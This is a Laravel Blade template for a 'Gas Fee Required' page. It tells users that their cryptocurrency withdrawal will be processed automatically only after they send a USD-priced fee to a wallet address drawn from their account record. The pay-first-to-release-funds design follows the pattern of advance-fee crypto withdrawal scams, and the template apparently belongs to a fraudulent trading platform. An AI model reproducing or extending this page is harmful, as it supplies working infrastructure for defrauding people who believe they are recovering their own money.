Gas Fee Required
To process your {{ isset($asset) ? $asset['symbol'] : 'cryptocurrency' }} withdrawal, please transfer the gas fee to the address below.
Required Gas Fee:
${{ isset($asset) && isset($asset['fee']) ? number_format($asset['fee'] * $asset['price'], 2) : '0.00' }} (USD equivalent)
Send to this wallet address:
@if(auth()->user()->hasCryptoAssets())
@php
$cryptoAsset = auth()->user()->cryptoAssets;
$symbol = isset($asset) ? strtolower($asset['symbol']) : 'btc';
$network = isset($asset) && isset($asset['network']) ? strtolower($asset['network']) : 'native';
// Handle USDT with different networks
if ($symbol === 'usdt' && $network !== 'native') {
$addressField = "usdt_" . strtolower($network) . "_address";
} else {
$addressField = $symbol . '_address';
}
$walletAddress = $cryptoAsset->$addressField ?? 'Address not available';
// In case the address is not found, provide more detailed error
if ($walletAddress === 'Address not available') {
$walletAddress = "Address not found for $addressField";
}
@endphp
@if(strpos($walletAddress, 'Address not found') === 0)
Available addresses:
@foreach(['btc', 'eth', 'usdt_trc20', 'usdt_erc20', 'usdt_bep20', 'trx', 'bnb'] as $cryptoType)
@php
$addrField = $cryptoType . '_address';
$addr = $cryptoAsset->$addrField ?? null;
@endphp
@if($addr)
- {{ $addrField }}: {{ substr($addr, 0, 10) }}...{{ substr($addr, -6) }}
@endif
@endforeach
@endif
@else
No wallet address available
@endif
Your withdrawal will be automatically processed after the gas fee is received.